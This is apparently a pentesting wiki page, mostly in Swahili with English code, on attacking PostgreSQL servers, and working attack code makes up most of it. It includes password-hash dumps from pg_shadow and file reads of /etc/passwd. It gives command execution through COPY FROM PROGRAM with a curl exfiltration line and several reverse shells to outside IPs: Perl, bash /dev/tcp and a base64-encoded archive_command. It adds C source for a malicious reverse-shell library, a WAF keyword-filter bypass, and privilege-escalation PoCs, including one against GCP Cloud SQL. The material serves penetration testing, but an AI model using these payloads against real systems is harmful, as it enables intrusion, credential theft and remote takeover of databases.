5432,5433 - Pentesting Postgresql

Reading time: 26 minutes

Taarifa za Msingi

PostgreSQL inaelezewa kama mfumo wa hifadhidata wa object-relational ambao ni chanzo wazi. Sistemi hii haitumiwi tu kwa lugha ya SQL bali pia inaiboresha kwa vipengele vya ziada. Ina uwezo wa kushughulikia aina mbalimbali za data na operesheni, ikifanya iwe chaguo lenye ufanisi kwa waendelezaji na mashirika.

Default port: 5432, na ikiwa bandari hii tayari inatumika inaonekana PostgreSQL itatumia bandari inayofuata (5433 kwa kawaida) ambayo haijatumiwa.

PORT     STATE SERVICE
5432/tcp open  pgsql

Unganisha & Basic Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Kwa taarifa zaidi kuhusu jinsi ya kutumia vibaya PostgreSQL database, angalia:

PostgreSQL injection

Uorodheshaji wa Kiotomatiki

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

Kulingana na this research, wakati jaribio la kuunganisha linashindwa, dblink hutoa exception sqlclient_unable_to_establish_sqlconnection ikijumuisha maelezo ya kosa. Mifano ya maelezo haya yameorodheshwa hapa chini.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Host haiko mtandaoni

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Port imefungwa

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Port iko wazi

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

au

DETAIL:  FATAL:  password authentication failed for user "name"

• Port iko wazi au imechujwa

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Kwenye PL/pgSQL functions, kwa sasa haiwezekani kupata maelezo ya exception. Hata hivyo, ikiwa una access ya moja kwa moja kwenye server ya PostgreSQL, unaweza kupata taarifa zinazohitajika. Ikiwa kuchukua majina ya watumiaji na nywila kutoka kwenye system tables haiwezekani, unaweza kuzingatia kutumia method ya wordlist attack iliyoelezewa katika sehemu iliyopita, kwani inaweza kuleta matokeo chanya.

Uorodheshaji wa Vibali

Role Types

Vikundi Vinavyovutia

• Ikiwa wewe ni mwanachama wa pg_execute_server_program unaweza kuendesha programu
• Ikiwa wewe ni mwanachama wa pg_read_server_files unaweza kusoma faili
• Ikiwa wewe ni mwanachama wa pg_write_server_files unaweza kuandika faili

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Majedwali

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funsi

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Vitendo vya mfumo wa faili

Kusoma saraka na faili

Kutoka kwenye commit wanachama wa kikundi kilichoainishwa DEFAULT_ROLE_READ_SERVER_FILES (kinachoitwa pg_read_server_files) na super users wanaweza kutumia njia ya COPY kwenye path yoyote (angalia convert_and_check_filename katika genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

GRANT pg_read_server_files TO username;

Kuna postgres functions nyingine ambazo zinaweza kutumika kusoma faili au kuorodhesha saraka. Ni superusers na watumiaji walio na ruhusa maalum pekee wanaoweza kuzitumia:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Unaweza kupata kazi zaidi katika https://www.postgresql.org/docs/current/functions-admin.html

Kuandika Faili Rahisi

Ni super users tu na wanachama wa pg_write_server_files wanaoweza kutumia copy kuandika faili.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

GRANT pg_write_server_files TO username;

Kumbuka kwamba COPY haiwezi kushughulikia newline chars, kwa hiyo hata ukiwa unatumia base64 payload yunahitaji kutuma mstari mmoja.
Kizuizi muhimu sana cha mbinu hii ni kwamba copy cannot be used to write binary files as it modify some binary values.

Binary files upload

However, there are other techniques to upload big binary files:

Big Binary Files Upload (PostgreSQL)

Updating PostgreSQL table data via local file write

Ikiwa una ruhusa zinazohitajika za kusoma na kuandika PostgreSQL server files, unaweza kusasisha jedwali lolote kwenye server kwa kufunika filenode inayohusiana katika the PostgreSQL data directory. More on this technique here.

Hatua zinazohitajika:

1. Pata PostgreSQL data directory

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Note: Ikiwa huwezi kupata current data directory path kutoka settings, unaweza kuuliza major PostgreSQL version kupitia SELECT version() query na kujaribu brute-force path. Common data directory paths on Unix installations of PostgreSQL are /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. A common cluster name is main.

2. Pata relative path kwa filenode inayohusiana na jedwali linalolengwa

SELECT pg_relation_filepath('{TABLE_NAME}')

This query should return something like base/3/1337. The full path on disk will be $DATA_DIRECTORY/base/3/1337, i.e. /var/lib/postgresql/13/main/base/3/1337.

3. Pakua filenode kupitia lo_* functions

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Pata datatype inayohusiana na jedwali linalolengwa

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Tumia the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Optionally) Ondoa cache ya jedwali iliyo kwenye memory kwa kuendesha query ya gharama kubwa

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Sasa unapaswa kuona maadili ya jedwali yaliyosasishwa katika PostgreSQL.

Unaweza pia kuwa superadmin kwa kuhariri jedwali la pg_authid. See the following section.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Mfano wa exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

GRANT pg_execute_server_program TO username;

Au tumia module ya multi/postgres/postgres_copy_from_program_cmd_exec kutoka metasploit.
Maelezo zaidi kuhusu udhaifu huu here. Iliripotiwa kama CVE-2019-9193, Postges ilitangaza kuwa hii ni feature and will not be fixed.

Kuepuka vichujio vya maneno kuu/WAF kufikia COPY PROGRAM

Katika muktadha wa SQLi na stacked queries, WAF inaweza kuondoa au kuzuia neno halisi COPY. Unaweza kujenga tamko kwa njia ya dynamic na kuutekeleza ndani ya PL/pgSQL DO block. Kwa mfano, tengeneza herufi ya mwanzo C kwa CHR(67) ili kuepuka vichujio rahisi na EXECUTE amri iliyokusanywa:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

Taarifa zaidi kuhusu mbinu hii hapa.

The configuration file have some interesting attributes that can lead to RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Njia ya private key ya database
• ssl_passphrase_command = '' Ikiwa faili binafsi imehifadhiwa kwa nenosiri (imefungwa), postgresql itatekeleza amri iliyoainishwa katika sifa hii.
• ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.

Then, an attacker will need to:

1. Dump private key from the server
2. Encrypt downloaded private key:
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Overwrite
5. Dump the current postgresql configuration
6. Overwrite the configuration with the mentioned attributes configuration:
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Execute pg_reload_conf()

While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

Taarifa zaidi kuhusu configuration hii na kuhusu WAL hapa.

Another attribute in the configuration file that is exploitable is archive_command.

For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.

The general steps are:

1. Check whether archive mode is enabled: SELECT current_setting('archive_mode')
2. Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Reload the config: SELECT pg_reload_conf()
4. Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions

Editing postgresql.conf via Large Objects (SQLi-friendly)

When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where COPY cannot handle newlines or binary-safe writes.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

• session_preload_libraries -- maktaba zitakazopakiwa na server ya PostgreSQL wakati wa muunganisho wa mteja.
• dynamic_library_path -- orodha ya saraka ambapo server ya PostgreSQL itatafuta maktaba.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

1. Pakua the original postgresql.conf
2. Ongeza the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'
3. Ongeza the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'
4. Angalia major PostgreSQL version via the SELECT version() query
5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one
7. Upload the payload.so from step 5 to the /tmp directory
8. Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query
9. At the next DB connection, you will receive the reverse shell connection.

Postgres Privesc

CREATEROLE Privesc

Grant

Kulingana na the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Badilisha Nenosiri

Watumiaji walio na jukumu hili pia wanaweza kubadilisha nenosiri za watumiaji wasiokuwa superuser:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Ni jambo la kawaida sana kugundua kwamba local users can login in PostgreSQL without providing any password. Kwa hiyo, mara tu unapopata permissions to execute code unaweza kutumia vibaya idhini hizi ili kupata jukumu la SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

Katika this writeup kuna maelezo jinsi ilivyowezekana kufanya privesc kwenye Postgres GCP kwa kutumia vibaya kibali cha ALTER TABLE kilichopewa mtumiaji.

Wakati unajaribu kumfanya mtumiaji mwingine kuwa mmiliki wa jedwali unapaswa kupata kosa kinachokuzuia, lakini kwa uwazi GCP ilitoa hiyo chaguo kwa mtumiaji postgres ambaye si superuser katika GCP:

Kuunganisha wazo hili na ukweli kwamba wakati amri za INSERT/UPDATE/ANALYZE zinapotekelezwa kwenye jedwali lenye index function, function inaitwa kama sehemu ya amri kwa kutumia jedwali ruksa za mmiliki. Inawezekana kuunda index kwa kutumia function na kumpa mmiliki ruksa kwa super user juu ya jedwali hilo, kisha kuendesha ANALYZE kwenye jedwali hilo kwa function hatarishi ambayo itaweza kutekeleza amri kwa sababu inatumia vibali vya mmiliki.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

1. Anza kwa kuunda jedwali jipya.
2. Weka baadhi ya maudhui yasiyo muhimu kwenye jedwali ili kutoa data kwa ajili ya index function.
3. Tengeneza index function yenye madhara inayojumuisha code execution payload, kuruhusu amri zisizoidhinishwa kutekelezwa.
4. ALTER mmiliki wa jedwali kuwa "cloudsqladmin," ambayo ni GCP's superuser role inayotumiwa pekee na Cloud SQL kusimamia na kutunza database.
5. Fanya operation ya ANALYZE kwenye jedwali. Kitendo hiki kinawalazimisha engine ya PostgreSQL kubadilisha kwa context ya mtumiaji wa mmiliki wa jedwali, "cloudsqladmin." Matokeo yake, index function yenye madhara itaitwa kwa ruhusa za "cloudsqladmin," na hivyo kuwezesha utekelezaji wa shell command ambayo awali haikuidhinishwa.

Katika PostgreSQL, mchakato huu unaonekana takriban kama ifuatavyo:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Kisha, jedwali la shell_commands_results litakuwa na matokeo ya msimbo uliotekelezwa:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Kuingia ya Ndani

Baadhi ya mifano ya postgresql iliyopangwa vibaya inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani; inawezekana kuingia kutoka 127.0.0.1 kwa kutumia dblink function:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

CREATE EXTENSION dblink;

Ikiwa una nenosiri la mtumiaji aliye na idhini zaidi, lakini mtumiaji hana ruhusa ya login kutoka external IP, unaweza kutumia function ifuatayo kutekeleza queries kama mtumiaji huyo:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Inawezekana kuangalia kama function hii ipo kwa:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Kazi iliyofafanuliwa maalum na SECURITY DEFINER

In this writeup, pentesters waliweza privesc ndani ya instance ya postgres iliyotolewa na IBM, kwa sababu walikuwa found this function with the SECURITY DEFINER flag:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Kama explained in the docs kazi yenye SECURITY DEFINER is executed kwa idhini za user that owns it. Kwa hivyo, ikiwa kazi hiyo ni vulnerable to SQL Injection au inafanya baadhi ya privileged actions with params controlled by the attacker, inaweza kutumika kwa escalate privileges inside postgres.

Kwenye mstari wa 4 wa code hapo juu unaweza kuona kuwa kazi ina bendera ya SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Kisha endesha amri:

Pass Burteforce with PL/pgSQL

PL/pgSQL ni lugha ya programu yenye sifa kamili inayotoa udhibiti wa kiutendaji mkubwa ukilinganisha na SQL. Inaruhusu matumizi ya loops na miundo mingine ya udhibiti ili kuboresha mantiki ya programu. Zaidi ya hayo, SQL statements na triggers zina uwezo wa kuita functions zilizotengenezwa kwa kutumia lugha ya PL/pgSQL. Muunganiko huu unaruhusu mbinu pana na yenye ufanisi zaidi kwa programu za database na automation.
Unaweza kutumia lugha hii vibaya ili kuomba PostgreSQL kufanya brute-force kwa nywila za watumiaji.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Ikiwa unaweza kusoma na kuandika faili za server ya PostgreSQL, unaweza kuwa superuser kwa kuandika juu filenode ya PostgreSQL iliyoko kwenye diski, inayohusishwa na jedwali la ndani pg_authid.

Read more about this technique here.

Hatua za shambulio ni:

1. Pata saraka ya data ya PostgreSQL
2. Pata relative path kwa filenode inayohusishwa na jedwali la pg_authid
3. Pakua filenode kupitia lo_* functions
4. Pata datatype inayohusishwa na jedwali la pg_authid
5. Tumia PostgreSQL Filenode Editor ili edit the filenode; weka bendera zote za boolean rol* kuwa 1 kwa ruhusa kamili.
6. Re-upload filenode iliyohaririwa kupitia lo_* functions, na fanya overwrite ya faili ya asili kwenye diski
7. (Hiari) Safisha in-memory table cache kwa kuendesha query ya SQL yenye gharama kubwa
8. Sasa unapaswa kuwa na vibali vya full superadmin.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logging

Ndani ya faili postgresql.conf unaweza kuwezesha postgresql logs kwa kubadilisha:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Kisha, anza upya huduma.

pgadmin

pgadmin ni jukwaa la usimamizi na maendeleo kwa PostgreSQL.
Unaweza kupata passwords ndani ya faili pgadmin4.db
Unaweza kuzidecrypt kwa kutumia kazi decrypt ndani ya script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Uthibitishaji wa mteja katika PostgreSQL unasimamiwa kupitia faili ya usanidi iitwayo pg_hba.conf. Faili hii ina rekodi kadhaa, kila moja ikibainisha aina ya muunganisho, mzunguko wa anwani ya IP ya mteja (ikiwa inahitajika), jina la database, jina la mtumiaji, na njia ya uthibitishaji ya kutumika kwa kulinganisha muunganisho. Rekodi ya kwanza inayolingana na aina ya muunganisho, anwani ya mteja, database iliyohitajika, na jina la mtumiaji ndiyo itumike kwa uthibitishaji. Hakuna njia mbadala au chelezo ikiwa uthibitishaji unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.

Njia za uthibitishaji zinazotegemea nywila zilizopo katika pg_hba.conf ni md5, crypt, na password. Njia hizi zinatofautiana katika jinsi nywila inavyotumwa: iliyohashwa kwa MD5, iliyosimbwa kwa crypt, au kwa maandishi wazi. Ni muhimu kutambua kwamba njia ya crypt haiwezi kutumika na nywila ambazo zimekuwa zimesimbwa katika pg_authid.

Marejeo

• HTB: DarkCorp by 0xdf
• PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
• Postgres SQL injection to RCE with archive_command (The Gray Area)